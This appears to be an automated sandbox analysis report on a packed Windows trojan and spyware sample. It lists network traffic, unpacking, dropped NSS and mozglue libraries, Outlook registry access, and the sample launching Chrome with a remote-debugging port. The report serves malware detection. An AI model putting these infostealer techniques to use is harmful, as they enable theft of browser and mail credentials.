Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49763 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C61ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C65B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C65B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5FF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F35A0	0_2_6C5F35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C605477	0_2_6C605477
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66545C	0_2_6C66545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66542B	0_2_6C66542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66AC00	0_2_6C66AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635C10	0_2_6C635C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636CF0	0_2_6C636CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6064C0	0_2_6C6064C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61D4D0	0_2_6C61D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FD4E0	0_2_6C5FD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6534A0	0_2_6C6534A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C4A0	0_2_6C65C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606C80	0_2_6C606C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60FD00	0_2_6C60FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C620512	0_2_6C620512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61ED10	0_2_6C61ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6585F0	0_2_6C6585F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630DD0	0_2_6C630DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666E63	0_2_6C666E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C614640	0_2_6C614640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642E4E	0_2_6C642E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FC670	0_2_6C5FC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C619E50	0_2_6C619E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C633E50	0_2_6C633E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C659E30	0_2_6C659E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C645600	0_2_6C645600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C637E10	0_2_6C637E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6676E3	0_2_6C6676E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60FEF0	0_2_6C60FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FBEF0	0_2_6C5FBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C654EA0	0_2_6C654EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65E680	0_2_6C65E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615E90	0_2_6C615E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609F00	0_2_6C609F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C637710	0_2_6C637710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626FF0	0_2_6C626FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FDFE0	0_2_6C5FDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6477A0	0_2_6C6477A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63F070	0_2_6C63F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618850	0_2_6C618850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61D850	0_2_6C61D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B820	0_2_6C63B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644820	0_2_6C644820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C607810	0_2_6C607810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C0E0	0_2_6C61C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6358E0	0_2_6C6358E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6650C7	0_2_6C6650C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6260A0	0_2_6C6260A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60D960	0_2_6C60D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B970	0_2_6C64B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66B170	0_2_6C66B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61A940	0_2_6C61A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62D9B0	0_2_6C62D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635190	0_2_6C635190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C652990	0_2_6C652990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FC9A0	0_2_6C5FC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639A60	0_2_6C639A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C611AF0	0_2_6C611AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E2F0	0_2_6C63E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638AC0	0_2_6C638AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C624AA0	0_2_6C624AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60CAB0	0_2_6C60CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C662AB0	0_2_6C662AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66BA90	0_2_6C66BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F22A0	0_2_6C5F22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C370	0_2_6C60C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5340	0_2_6C5F5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6653C8	0_2_6C6653C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FF380	0_2_6C5FF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C62CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6394D0 appears 88 times

Source: file.exe, 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2157268569.000000006C875000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: umtekkff ZLIB complexity 0.995196208861715

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/37@6/6

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C657030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C657030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\4WZ2YP3I.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2151240466.000000001D555000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2156808692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157184142.000000006C82F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2151240466.000000001D555000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2156808692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157184142.000000006C82F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2151240466.000000001D555000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2156808692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157184142.000000006C82F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2151240466.000000001D555000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2156808692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157184142.000000006C82F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2151240466.000000001D555000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2156808692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157184142.000000006C82F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2151240466.000000001D555000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2156808692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2151240466.000000001D555000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2156808692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157184142.000000006C82F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1996702536.000000001D454000.00000004.00000020.00020000.00000000.sdmp, AAKEGDAKEHJDHIDHJJDA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2151240466.000000001D555000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2156808692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2151240466.000000001D555000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2156808692.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 45%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2312,i,16225279011638824055,3735573977793458152,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2312,i,16225279011638824055,3735573977793458152,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2134016 > 1048576

Source: file.exe

Static PE information: Raw size of umtekkff is bigger than: 0x100000 < 0x19e000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2157184142.000000006C82F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2134581160.00000000003AC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1719489044.0000000004E3B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157343920.000000006F8C1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2134581160.00000000003AC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1719489044.0000000004E3B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157343920.000000006F8C1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2157184142.000000006C82F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.380000.0.unpack :EW;.rsrc :W;.idata :W; :EW;umtekkff:EW;sswfraxb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;umtekkff:EW;sswfraxb:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C65C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C65C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x216ac3 should be: 0x211faa

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: umtekkff
Source: file.exe	Static PE information: section name: sswfraxb
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C62B536 push ecx; ret

0_2_6C62B549

Source: file.exe

Static PE information: section name: umtekkff entropy: 7.955088568290227

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
